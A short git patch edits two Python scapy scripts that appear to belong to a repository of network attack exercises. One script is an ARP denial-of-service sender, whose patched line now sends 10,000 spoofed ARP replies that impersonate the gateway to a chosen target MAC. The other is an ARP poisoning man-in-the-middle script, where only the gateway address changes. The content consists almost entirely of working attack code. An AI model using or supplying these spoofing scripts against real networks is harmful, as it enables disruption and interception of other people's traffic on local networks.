From 25be571141e42c902fba7dc43b02468b7a21dac8 Mon Sep 17 00:00:00 2001 From: Aliona Dangla Date: Tue, 13 Aug 2019 20:59:43 +0200 Subject: [PATCH] Put target in ARP hwdst instead of broadcast --- denial_of_service/arp_dos.py | 4 ++-- man_in_the_middle/arp_poison.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/denial_of_service/arp_dos.py b/denial_of_service/arp_dos.py index dff76e7..71cdff0 100644 --- a/denial_of_service/arp_dos.py +++ b/denial_of_service/arp_dos.py @@ -1,6 +1,6 @@ from scapy.all import * -target_mac = "bc:5f:f4:d0:85:9f" +target_mac = "98:e7:f4:5e:49:80" switch_ip = "192.168.0.1" -sendp(Ether(dst=target_mac)/ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", psrc=switch_ip)) +sendp(Ether(dst=target_mac)/ARP(op=2, hwdst=target_mac, psrc=switch_ip), count = 10000) diff --git a/man_in_the_middle/arp_poison.py b/man_in_the_middle/arp_poison.py index 3966346..514f456 100644 --- a/man_in_the_middle/arp_poison.py +++ b/man_in_the_middle/arp_poison.py @@ -5,7 +5,7 @@ import threading import time -gw_ip = "192.168.0.45" +gw_ip = "192.168.0.21" target_ip = "192.168.0.2" broadcast = "ff:ff:ff:ff:ff:ff"